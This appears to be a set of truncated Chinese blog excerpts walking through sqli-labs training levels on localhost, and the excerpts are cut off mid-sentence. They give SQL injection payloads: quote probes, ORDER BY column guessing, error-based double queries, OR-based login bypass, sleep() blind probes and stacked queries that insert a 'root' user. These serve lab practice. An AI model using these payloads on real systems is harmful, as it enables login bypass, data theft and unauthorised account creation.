GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面limit 0,1语句 http://localhost/sqli/Less-1/?id=1' order by 1# 字符#浏览器不会编码可以手动编码%23 http://localhost/sqli/Less-1/?id=1' order by 1%23 order by 4时页面不正常,推测字段数…
和less42一样 login_user=&login_password=1');insert into users(id,username,password) value(15,'root','root')#…
Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行堆叠注入 login_user=&login_password=1';insert into users(id,username,password) value(15,'root','root')# 登陆…
一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输出不同的用户名和密码 2.进一步了解 每一次都会有不同的账号密码出来,当然肯定不能这样简单的访问. 既然题目说了存在单引号的错误,那就来试一下http://localhost/Less-1/?id=%27 没毛病报错了,说明单引号会被算入sql语句中 假设一下,这个sql语句是这样构造的: $sql…
双注入查询可以查看这两篇介绍 https://www.2cto.com/article/201302/190763.html https://www.2cto.com/article/201303/192718.html 简而言之就是构造如下的查询,会使得查询结果的一部分通过报错的形式显示出来 ))as a from information_schema.tables group by a; 数据库执行结果 但是也有几率不报错 加大rand()的倍数时,报错几率更高,个人推荐用rand()*9这…
实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') LIMIT 0,1 1后面有一个 ' 是我们添加的,于是正常的sql语句应该是 select ... from ... where xx=('1') limit 0,1 于是构造 select ... from ... where xx=('1')#') limit 0,1 对应的GET请求为 h…
提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" 对应的sql语句应为 select ... from ... where xx=("1") limit 0,1 构造 select ... from ... where xx=("1")#") limit 0,1 对应的GET请求 http://localh…
查看源码,用户名和密码通过post提交 加单引号提交 出现报错,推测对应的SQL语句 , 直接使用or构造永真登录 成功,注意此处登录的用户为表中的第一个用户 需要改变用户可以通过改变筛选条件实现 作为表中的第二个用户登录 如果在客户端进行了敏感字符的输入限定,可以直接使用hackbar提交POST数据绕过 如果采用构造这种输入,登录会失败,原因是因为and的优先级是高于or的 yyy='test'返回false然后and运算仍为false, xxx='1' or false结果为false 也…
和Less44一个名字 测试一下,发现是')闭合的 login_user=&login_password=1') or sleep(0.1)# 那就是没有错误显示的less42 login_user=&login_password=1');insert into users(id,username,password) value(15,'root','root')#…
盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数的参数 login_user=&login_password=1' or sleep(0.1)# 14条数据延时了1.4s 但延时的出现就证明引号闭合成功了 login_user=&login_password=1';insert into users(id,username,password…